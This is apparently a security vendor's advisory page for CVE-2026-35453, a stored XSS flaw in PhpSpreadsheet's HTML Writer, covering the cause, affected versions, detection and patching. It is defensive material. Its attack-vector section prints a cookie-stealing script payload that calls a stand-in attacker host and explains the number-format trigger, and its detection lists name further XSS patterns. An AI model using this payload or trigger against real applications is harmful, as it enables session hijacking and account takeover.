The SentinelOne Annual Threat Report - A Defenders Guide from the FrontlinesThe SentinelOne Annual Threat ReportGet the Report
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-35453

CVE-2026-35453: PhpSpreadsheet XSS Vulnerability

CVE-2026-35453 is an XSS flaw in PhpSpreadsheet that allows attackers to inject arbitrary HTML and JavaScript through improperly escaped cell content. This post explains its impact, affected versions, and mitigation steps.

Published: May 7, 2026

CVE-2026-35453 Overview

CVE-2026-35453 is a stored Cross-Site Scripting (XSS) vulnerability in PhpSpreadsheet, a widely used PHP library for reading and writing spreadsheet files. The HTML Writer component fails to apply htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder combined with literal text such as @ "items". An attacker who can control cell content in a spreadsheet processed by the HTML Writer can inject arbitrary HTML and JavaScript into the rendered output. The flaw is tracked as CWE-79 and was disclosed in GHSA-6wpp-88cp-7q68.

Critical Impact

Attacker-controlled spreadsheet cells can execute arbitrary JavaScript in the browser of any user viewing the HTML output, enabling session hijacking and account takeover in applications that render spreadsheets server-side.

Affected Products

  • PhpSpreadsheet versions 1.30.3 and earlier
  • PhpSpreadsheet versions 2.0.0 through 2.1.15, 2.2.0 through 2.4.4
  • PhpSpreadsheet versions 3.3.0 through 3.10.4, and 4.0.0 through 5.6.0

Discovery Timeline

  • 2026-05-05 - CVE-2026-35453 published to NVD
  • 2026-05-07 - Last updated in NVD database

Technical Details for CVE-2026-35453

Vulnerability Analysis

PhpSpreadsheet's HTML Writer converts spreadsheet content to HTML for browser rendering. During this conversion, the formatter applies the cell's number format code to produce the displayed string. The library uses a callback-based approach to escape HTML special characters in formatted cell output, but this callback is invoked conditionally rather than on all rendered values.

The escaping logic compares the formatted output to the original cell value. If the two strings match exactly, the escaping callback runs as expected. When a custom format contains the @ text placeholder alongside quoted literal text, the formatter substitutes the raw cell value into the format string and returns early. This early return path bypasses the escaping callback entirely, allowing raw cell content to flow into the HTML document.

Applications that ingest user-supplied spreadsheets and render them as HTML are exposed. Common use cases include data import previews, reporting portals, and collaboration tools.

Root Cause

The root cause is an inconsistent output encoding policy in the HTML Writer's number-format handler. Output escaping is treated as conditional on a value-comparison check rather than as a mandatory final step before HTML emission. Format codes such as @ "items" produce a formatted string that differs from the raw cell value, which causes the comparison check to skip the encoding routine.

Attack Vector

An attacker supplies a crafted spreadsheet (XLSX, ODS, or other supported format) where a target cell contains an HTML or JavaScript payload such as <script>fetch('//attacker/'+document.cookie)</script>. The attacker also sets that cell's number format to a code containing @ plus quoted literal text. When the victim application renders the workbook with HtmlWriter, the payload is written verbatim into the HTML output and executes in the browser context of any user viewing the page.

No authentication on the application is required if anonymous spreadsheet upload is permitted. User interaction is limited to viewing the rendered HTML.

Detection Methods for CVE-2026-35453

Indicators of Compromise

  • Spreadsheet files containing cells whose number format code includes the @ placeholder combined with quoted literals such as @ "items" or "prefix"@.
  • Cell values containing HTML tags such as <script>, <img onerror=...>, or <svg onload=...> paired with text-style number formats.
  • Outbound HTTP requests from end-user browsers to unexpected hosts shortly after viewing rendered spreadsheet content.

Detection Strategies

  • Inventory PHP applications using composer show phpoffice/phpspreadsheet and flag any version outside the patched releases 1.30.4, 2.1.16, 2.4.5, 3.10.5, or 5.7.0.
  • Inspect HTTP responses from spreadsheet-rendering endpoints for unescaped angle brackets inside <td> elements that originated from cell values.
  • Add static analysis rules that flag direct calls to PhpOffice\PhpSpreadsheet\Writer\Html::generateHTMLAll() or save() on workbooks built from untrusted input.

Monitoring Recommendations

  • Log spreadsheet upload events with file hashes and submitting user identity to enable retroactive investigation.
  • Enable Content Security Policy reporting on pages that render PhpSpreadsheet HTML output to capture inline-script violations.
  • Alert on web application firewall rules matching <script or common XSS payload patterns inside multipart spreadsheet uploads.

How to Mitigate CVE-2026-35453

Immediate Actions Required

  • Upgrade PhpSpreadsheet immediately to a patched release: 1.30.4, 2.1.16, 2.4.5, 3.10.5, or 5.7.0 depending on the major version branch in use.
  • Audit application code paths that pass user-uploaded workbooks to Writer\Html and restrict this functionality to authenticated, trusted users until patched.
  • Review historical spreadsheet uploads for cells containing script payloads combined with text-format number codes.

Patch Information

The maintainers fixed the issue in PhpSpreadsheet 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0. The patches ensure the HTML Writer applies htmlspecialchars() escaping to all formatted output regardless of whether the formatter took the early-return path. See the PhpSpreadsheet GitHub Security Advisory GHSA-6wpp-88cp-7q68 for full release notes.

Workarounds

  • Apply a strict Content Security Policy that disallows inline scripts (script-src 'self') on pages that embed HTML produced by PhpSpreadsheet.
  • Post-process the HTML Writer output through an HTML sanitizer such as HTML Purifier before delivering it to browsers.
  • Reject or strip non-default number format codes from uploaded workbooks until the library is upgraded.
bash
# Configuration example
composer require phpoffice/phpspreadsheet:^5.7.0
composer update phpoffice/phpspreadsheet
php -r "require 'vendor/autoload.php'; echo \PhpOffice\PhpSpreadsheet\Settings::getLibraryVersion();"

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeXSS

  • Vendor/TechPhpspreadsheet

  • SeverityMEDIUM

  • CVSS Score4.8

  • EPSS Probability0.01%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityNone
  • AvailabilityNone
  • CWE References
  • CWE-79
  • Technical References
  • GitHub Security Advisory
  • Related CVEs
  • CVE-2025-54370: PhpSpreadsheet SSRF Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English